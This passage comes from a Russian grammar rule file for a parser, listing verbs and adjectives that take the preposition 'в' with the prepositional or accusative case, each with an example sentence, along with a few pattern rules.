rus_verbs:соединять{}, // соединять в себе rus_verbs:разбираться{}, // умение разбираться в вещах rus_verbs:делать{}, // В её комнате делали обыск. rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина. rus_verbs:начаться{}, // В деревне начались полевые работы. rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль. rus_verbs:вертеться{}, // В голове вертится вчерашний разговор. rus_verbs:веять{}, // В воздухе веет прохладой. rus_verbs:висеть{}, // В воздухе висит зной. rus_verbs:носиться{}, // В воздухе носятся комары. rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее rus_verbs:воскресить{}, // воскресить в памяти rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина прилагательное:уверенный{ причастие }, // Она уверена в своих силах. прилагательное:постоянный{}, // Она постоянна во вкусах. прилагательное:сильный{}, // Он не силён в математике. прилагательное:повинный{}, // Он не повинен в этом. прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве. rus_verbs:сесть{}, // Она села в тени rus_verbs:заливаться{}, // в нашем парке заливаются соловьи rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени // rus_verbs:расти{}, // дерево, растущее в лесу rus_verbs:происходить{}, // что происходит в поликлиннике rus_verbs:спать{}, // кто спит в моей кровати rus_verbs:мыть{}, // мыть машину в саду ГЛ_ИНФ(царить), // В воздухе царило безмолвие ГЛ_ИНФ(мести), // мести в прихожей пол ГЛ_ИНФ(прятать), // прятать в яме ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне. // ГЛ_ИНФ(собраться), // собраться в порту ГЛ_ИНФ(случиться), // что-то случилось в больнице ГЛ_ИНФ(зажечься), // в небе зажглись звёзды ГЛ_ИНФ(купить), // купи молока в магазине прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР } // Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds fact гл_предл { if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } } then return true } // С локативом: // собраться в порту fact гл_предл { if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } } then return true } #endregion Предложный #region Винительный // Для глаголов движения с выраженным направлением действия может присоединяться // предложный паттерн с винительным падежом. wordentry_set Гл_В_Вин = { rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок. глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе. глагол:ввергать{}, инфинитив:ввергнуть{}, инфинитив:ввергать{}, rus_verbs:двинуться{}, // Двинулись в путь и мы. rus_verbs:сплавать{}, // Сплавать в Россию! rus_verbs:уложиться{}, // Уложиться в воскресенье. rus_verbs:спешить{}, // Спешите в Лондон rus_verbs:кинуть{}, // Киньте в море. rus_verbs:проситься{}, // Просилась в Никарагуа. rus_verbs:притопать{}, // Притопал в Будапешт. rus_verbs:скататься{}, // Скатался в Красноярск. rus_verbs:соскользнуть{}, // Соскользнул в пике. rus_verbs:соскальзывать{}, rus_verbs:играть{}, // Играл в дутье. глагол:айда{}, // Айда в каморы. rus_verbs:отзывать{}, // Отзывали в Москву... rus_verbs:сообщаться{}, // Сообщается в Лондон. rus_verbs:вдуматься{}, // Вдумайтесь в них. rus_verbs:проехать{}, // Проехать в Лунево... rus_verbs:спрыгивать{}, // Спрыгиваем в него. rus_verbs:верить{}, // Верю в вас! rus_verbs:прибыть{}, // Прибыл в Подмосковье. rus_verbs:переходить{}, // Переходите в школу. rus_verbs:доложить{}, // Доложили в Москву. rus_verbs:подаваться{}, // Подаваться в Россию? rus_verbs:спрыгнуть{}, // Спрыгнул в него. rus_verbs:вывезти{}, // Вывезли в Китай. rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю. rus_verbs:пропихнуть{}, rus_verbs:транспортироваться{}, rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения rus_verbs:дуть{}, rus_verbs:БОГАТЕТЬ{}, // rus_verbs:РАЗБОГАТЕТЬ{}, // rus_verbs:ВОЗРАСТАТЬ{}, // rus_verbs:ВОЗРАСТИ{}, // rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ) rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ) rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ) rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ) rus_verbs:ЗАМАНИВАТЬ{}, rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ) rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ) rus_verbs:ВРУБАТЬСЯ{}, rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ) rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ) rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ) rus_verbs:ЗАХВАТЫВАТЬ{}, rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ) rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ) rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ) rus_verbs:ПОСТРОИТЬСЯ{}, rus_verbs:ВЫСТРОИТЬСЯ{}, rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ) rus_verbs:ВЫПУСКАТЬ{}, rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ) rus_verbs:ВЦЕПИТЬСЯ{}, rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ) rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ) rus_verbs:ОТСТУПАТЬ{}, rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ) rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ) rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ) rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ) rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ) rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ) rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин) rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ) rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ) rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ) rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ) rus_verbs:СЖИМАТЬСЯ{}, rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ) rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ) rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ) rus_verbs:ПОКРАСИТЬ{}, // rus_verbs:ПЕРЕКРАСИТЬ{}, // rus_verbs:ОКРАСИТЬ{}, // rus_verbs:ЗАКРАСИТЬ{}, // rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ) rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ) rus_verbs:СТЯНУТЬ{}, // rus_verbs:ЗАТЯНУТЬ{}, // rus_verbs:ВТЯНУТЬ{}, // rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ) деепричастие:придя{}, // Немного придя в себя rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ) rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ) rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ) rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ) rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ) rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ) rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин) rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин) rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин) rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин) rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин) rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин) rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин) rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В) rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В) rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В) rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В) rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин) rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В) rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В) rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин) rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В) rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В) rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В) rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В) rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В) rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В) rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В) rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В) rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В) rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны. rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В) rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям. rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В) rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в) rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В) rus_verbs:валить{}, // валить все в одну кучу (валить в) rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в) rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в) rus_verbs:клониться{}, // он клонился в сторону (клониться в) rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в) rus_verbs:запасть{}, // Эти слова запали мне в душу. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:ездить{}, // Каждый день грузовик ездит в город. rus_verbs:претвориться{}, // Замысел претворился в жизнь. rus_verbs:разойтись{}, // Они разошлись в разные стороны. rus_verbs:выйти{}, // Охотник вышел в поле с ружьём. rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом. rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны rus_verbs:переодеваться{}, // переодеваться в женское платье rus_verbs:перерастать{}, // перерастать в массовые беспорядки rus_verbs:завязываться{}, // завязываться в узел rus_verbs:похватать{}, // похватать в руки rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:помещать{}, // помещать в изолятор rus_verbs:зыркнуть{}, // зыркнуть в окошко rus_verbs:закатать{}, // закатать в асфальт rus_verbs:усаживаться{}, // усаживаться в кресло rus_verbs:загонять{}, // загонять в сарай rus_verbs:подбрасывать{}, // подбрасывать в воздух rus_verbs:телеграфировать{}, // телеграфировать в центр rus_verbs:вязать{}, // вязать в стопы rus_verbs:подлить{}, // подлить в огонь rus_verbs:заполучить{}, // заполучить в распоряжение rus_verbs:подогнать{}, // подогнать в док rus_verbs:ломиться{}, // ломиться в открытую дверь rus_verbs:переправить{}, // переправить в деревню rus_verbs:затягиваться{}, // затягиваться в трубу rus_verbs:разлетаться{}, // разлетаться в стороны rus_verbs:кланяться{}, // кланяться в ножки rus_verbs:устремляться{}, // устремляться в открытое море rus_verbs:переместиться{}, // переместиться в другую аудиторию rus_verbs:ложить{}, // ложить в ящик rus_verbs:отвозить{}, // отвозить в аэропорт rus_verbs:напрашиваться{}, // напрашиваться в гости rus_verbs:напроситься{}, // напроситься в гости rus_verbs:нагрянуть{}, // нагрянуть в гости rus_verbs:заворачивать{}, // заворачивать в фольгу rus_verbs:заковать{}, // заковать в кандалы rus_verbs:свезти{}, // свезти в сарай rus_verbs:притащиться{}, // притащиться в дом rus_verbs:завербовать{}, // завербовать в разведку rus_verbs:рубиться{}, // рубиться в компьютерные игры rus_verbs:тыкаться{}, // тыкаться в материнскую грудь инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш }, деепричастие:ссыпав{}, деепричастие:ссыпая{}, rus_verbs:засасывать{}, // засасывать в себя rus_verbs:скакнуть{}, // скакнуть в будущее rus_verbs:подвозить{}, // подвозить в театр rus_verbs:переиграть{}, // переиграть в покер rus_verbs:мобилизовать{}, // мобилизовать в действующую армию rus_verbs:залетать{}, // залетать в закрытое воздушное пространство rus_verbs:подышать{}, // подышать в трубочку rus_verbs:смотаться{}, // смотаться в институт rus_verbs:рассовать{}, // рассовать в кармашки rus_verbs:захаживать{}, // захаживать в дом инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард деепричастие:сгоняя{}, rus_verbs:посылаться{}, // посылаться в порт rus_verbs:отлить{}, // отлить в кастрюлю rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение rus_verbs:поплакать{}, // поплакать в платочек rus_verbs:обуться{}, // обуться в сапоги rus_verbs:закапать{}, // закапать в глаза инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш }, деепричастие:свозив{}, деепричастие:свозя{}, rus_verbs:преобразовать{}, // преобразовать в линейное уравнение rus_verbs:кутаться{}, // кутаться в плед rus_verbs:смещаться{}, // смещаться в сторону rus_verbs:зазывать{}, // зазывать в свой магазин инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш }, деепричастие:трансформируясь{}, деепричастие:трансформировавшись{}, rus_verbs:погружать{}, // погружать в кипящее масло rus_verbs:обыграть{}, // обыграть в теннис rus_verbs:закутать{}, // закутать в одеяло rus_verbs:изливаться{}, // изливаться в воду rus_verbs:закатывать{}, // закатывать в асфальт rus_verbs:мотнуться{}, // мотнуться в банк rus_verbs:избираться{}, // избираться в сенат rus_verbs:наниматься{}, // наниматься в услужение rus_verbs:настучать{}, // настучать в органы rus_verbs:запихивать{}, // запихивать в печку rus_verbs:закапывать{}, // закапывать в нос rus_verbs:засобираться{}, // засобираться в поход rus_verbs:копировать{}, // копировать в другую папку rus_verbs:замуровать{}, // замуровать в стену rus_verbs:упечь{}, // упечь в тюрьму rus_verbs:зрить{}, // зрить в корень rus_verbs:стягиваться{}, // стягиваться в одну точку rus_verbs:усаживать{}, // усаживать в тренажер rus_verbs:протолкнуть{}, // протолкнуть в отверстие rus_verbs:расшибиться{}, // расшибиться в лепешку rus_verbs:приглашаться{}, // приглашаться в кабинет rus_verbs:садить{}, // садить в телегу rus_verbs:уткнуть{}, // уткнуть в подушку rus_verbs:протечь{}, // протечь в подвал rus_verbs:перегнать{}, // перегнать в другую страну rus_verbs:переползти{}, // переползти в тень rus_verbs:зарываться{}, // зарываться в грунт rus_verbs:переодеть{}, // переодеть в сухую одежду rus_verbs:припуститься{}, // припуститься в пляс rus_verbs:лопотать{}, // лопотать в микрофон rus_verbs:прогнусавить{}, // прогнусавить в микрофон rus_verbs:мочиться{}, // мочиться в штаны rus_verbs:загружать{}, // загружать в патронник rus_verbs:радировать{}, // радировать в центр rus_verbs:промотать{}, // промотать в конец rus_verbs:помчать{}, // помчать в школу rus_verbs:съезжать{}, // съезжать в кювет rus_verbs:завозить{}, // завозить в магазин rus_verbs:заявляться{}, // заявляться в школу rus_verbs:наглядеться{}, // наглядеться в зеркало rus_verbs:сворачиваться{}, // сворачиваться в клубочек rus_verbs:устремлять{}, // устремлять взор в будущее rus_verbs:забредать{}, // забредать в глухие уголки rus_verbs:перемотать{}, // перемотать в самое начало диалога rus_verbs:сморкаться{}, // сморкаться в носовой платочек rus_verbs:перетекать{}, // перетекать в другой сосуд rus_verbs:закачать{}, // закачать в шарик rus_verbs:запрятать{}, // запрятать в сейф rus_verbs:пинать{}, // пинать в живот rus_verbs:затрубить{}, // затрубить в горн rus_verbs:подглядывать{}, // подглядывать в замочную скважину инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш }, деепричастие:подсыпав{}, деепричастие:подсыпая{}, rus_verbs:засовывать{}, // засовывать в пенал rus_verbs:отрядить{}, // отрядить в командировку rus_verbs:справлять{}, // справлять в кусты rus_verbs:поторапливаться{}, // поторапливаться в самолет rus_verbs:скопировать{}, // скопировать в кэш rus_verbs:подливать{}, // подливать в огонь rus_verbs:запрячь{}, // запрячь в повозку rus_verbs:окраситься{}, // окраситься в пурпур rus_verbs:уколоть{}, // уколоть в шею rus_verbs:слететься{}, // слететься в гнездо rus_verbs:резаться{}, // резаться в карты rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш) деепричастие:задвигая{}, rus_verbs:доставляться{}, // доставляться в ресторан rus_verbs:поплевать{}, // поплевать в чашку rus_verbs:попереться{}, // попереться в магазин rus_verbs:хаживать{}, // хаживать в церковь rus_verbs:преображаться{}, // преображаться в королеву rus_verbs:организоваться{}, // организоваться в группу rus_verbs:ужалить{}, // ужалить в руку rus_verbs:протискиваться{}, // протискиваться в аудиторию rus_verbs:препроводить{}, // препроводить в закуток rus_verbs:разъезжаться{}, // разъезжаться в разные стороны rus_verbs:пропыхтеть{}, // пропыхтеть в трубку rus_verbs:уволочь{}, // уволочь в нору rus_verbs:отодвигаться{}, // отодвигаться в сторону rus_verbs:разливать{}, // разливать в стаканы rus_verbs:сбегаться{}, // сбегаться в актовый зал rus_verbs:наведаться{}, // наведаться в кладовку rus_verbs:перекочевать{}, // перекочевать в горы rus_verbs:прощебетать{}, // прощебетать в трубку rus_verbs:перекладывать{}, // перекладывать в другой карман rus_verbs:углубляться{}, // углубляться в теорию rus_verbs:переименовать{}, // переименовать в город rus_verbs:переметнуться{}, // переметнуться в лагерь противника rus_verbs:разносить{}, // разносить в щепки rus_verbs:осыпаться{}, // осыпаться в холода rus_verbs:попроситься{}, // попроситься в туалет rus_verbs:уязвить{}, // уязвить в сердце rus_verbs:перетащить{}, // перетащить в дом rus_verbs:закутаться{}, // закутаться в плед // rus_verbs:упаковать{}, // упаковать в бумагу инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость rus_verbs:хихикать{}, // хихикать в кулачок rus_verbs:объединить{}, // объединить в сеть инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию деепричастие:слетав{}, rus_verbs:заползти{}, // заползти в норку rus_verbs:перерасти{}, // перерасти в крупную аферу rus_verbs:списать{}, // списать в утиль rus_verbs:просачиваться{}, // просачиваться в бункер rus_verbs:пускаться{}, // пускаться в погоню rus_verbs:согревать{}, // согревать в мороз rus_verbs:наливаться{}, // наливаться в емкость rus_verbs:унестись{}, // унестись в небо rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф rus_verbs:сигануть{}, // сигануть в воду rus_verbs:окунуть{}, // окунуть в ледяную воду rus_verbs:просочиться{}, // просочиться в сапог rus_verbs:соваться{}, // соваться в толпу rus_verbs:протолкаться{}, // протолкаться в гардероб rus_verbs:заложить{}, // заложить в ломбард rus_verbs:перекатить{}, // перекатить в сарай rus_verbs:поставлять{}, // поставлять в Китай rus_verbs:залезать{}, // залезать в долги rus_verbs:отлучаться{}, // отлучаться в туалет rus_verbs:сбиваться{}, // сбиваться в кучу rus_verbs:зарыть{}, // зарыть в землю rus_verbs:засадить{}, // засадить в тело rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь rus_verbs:переставить{}, // переставить в шкаф rus_verbs:отчалить{}, // отчалить в плавание rus_verbs:набираться{}, // набираться в команду rus_verbs:лягнуть{}, // лягнуть в живот rus_verbs:притворить{}, // притворить в жизнь rus_verbs:проковылять{}, // проковылять в гардероб rus_verbs:прикатить{}, // прикатить в гараж rus_verbs:залететь{}, // залететь в окно rus_verbs:переделать{}, // переделать в мопед rus_verbs:протащить{}, // протащить в совет rus_verbs:обмакнуть{}, // обмакнуть в воду rus_verbs:отклоняться{}, // отклоняться в сторону rus_verbs:запихать{}, // запихать в пакет rus_verbs:избирать{}, // избирать в совет rus_verbs:загрузить{}, // загрузить в буфер rus_verbs:уплывать{}, // уплывать в Париж rus_verbs:забивать{}, // забивать в мерзлоту rus_verbs:потыкать{}, // потыкать в безжизненную тушу rus_verbs:съезжаться{}, // съезжаться в санаторий rus_verbs:залепить{}, // залепить в рыло rus_verbs:набиться{}, // набиться в карманы rus_verbs:уползти{}, // уползти в нору rus_verbs:упрятать{}, // упрятать в камеру rus_verbs:переместить{}, // переместить в камеру анабиоза rus_verbs:закрасться{}, // закрасться в душу rus_verbs:сместиться{}, // сместиться в инфракрасную область rus_verbs:запускать{}, // запускать в серию rus_verbs:потрусить{}, // потрусить в чащобу rus_verbs:забрасывать{}, // забрасывать в чистую воду rus_verbs:переселить{}, // переселить в отдаленную деревню rus_verbs:переезжать{}, // переезжать в новую квартиру rus_verbs:приподнимать{}, // приподнимать в воздух rus_verbs:добавиться{}, // добавиться в конец очереди rus_verbs:убыть{}, // убыть в часть rus_verbs:передвигать{}, // передвигать в соседнюю клетку rus_verbs:добавляться{}, // добавляться в очередь rus_verbs:дописать{}, // дописать в перечень rus_verbs:записываться{}, // записываться в кружок rus_verbs:продаться{}, // продаться в кредитное рабство rus_verbs:переписывать{}, // переписывать в тетрадку rus_verbs:заплыть{}, // заплыть в территориальные воды инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" }, rus_verbs:отбирать{}, // отбирать в гвардию rus_verbs:нашептывать{}, // нашептывать в микрофон rus_verbs:ковылять{}, // ковылять в стойло rus_verbs:прилетать{}, // прилетать в Париж rus_verbs:пролиться{}, // пролиться в канализацию rus_verbs:запищать{}, // запищать в микрофон rus_verbs:подвезти{}, // подвезти в больницу rus_verbs:припереться{}, // припереться в театр rus_verbs:утечь{}, // утечь в сеть rus_verbs:прорываться{}, // прорываться в буфет rus_verbs:увозить{}, // увозить в ремонт rus_verbs:съедать{}, // съедать в обед rus_verbs:просунуться{}, // просунуться в дверь rus_verbs:перенестись{}, // перенестись в прошлое rus_verbs:завезти{}, // завезти в магазин rus_verbs:проложить{}, // проложить в деревню rus_verbs:объединяться{}, // объединяться в профсоюз rus_verbs:развиться{}, // развиться в бабочку rus_verbs:засеменить{}, // засеменить в кабинку rus_verbs:скатываться{}, // скатываться в яму rus_verbs:завозиться{}, // завозиться в магазин rus_verbs:нанимать{}, // нанимать в рейс rus_verbs:поспеть{}, // поспеть в класс rus_verbs:кидаться{}, // кинаться в крайности rus_verbs:поспевать{}, // поспевать в оперу rus_verbs:обернуть{}, // обернуть в фольгу rus_verbs:обратиться{}, // обратиться в прокуратуру rus_verbs:истолковать{}, // истолковать в свою пользу rus_verbs:таращиться{}, // таращиться в дисплей rus_verbs:прыснуть{}, // прыснуть в кулачок rus_verbs:загнуть{}, // загнуть в другую сторону rus_verbs:раздать{}, // раздать в разные руки rus_verbs:назначить{}, // назначить в приемную комиссию rus_verbs:кидать{}, // кидать в кусты rus_verbs:увлекать{}, // увлекать в лес rus_verbs:переселиться{}, // переселиться в чужое тело rus_verbs:присылать{}, // присылать в город rus_verbs:уплыть{}, // уплыть в Европу rus_verbs:запричитать{}, // запричитать в полный голос rus_verbs:утащить{}, // утащить в логово rus_verbs:завернуться{}, // завернуться в плед rus_verbs:заносить{}, // заносить в блокнот rus_verbs:пятиться{}, // пятиться в дом rus_verbs:наведываться{}, // наведываться в больницу rus_verbs:нырять{}, // нырять в прорубь rus_verbs:зачастить{}, // зачастить в бар rus_verbs:назначаться{}, 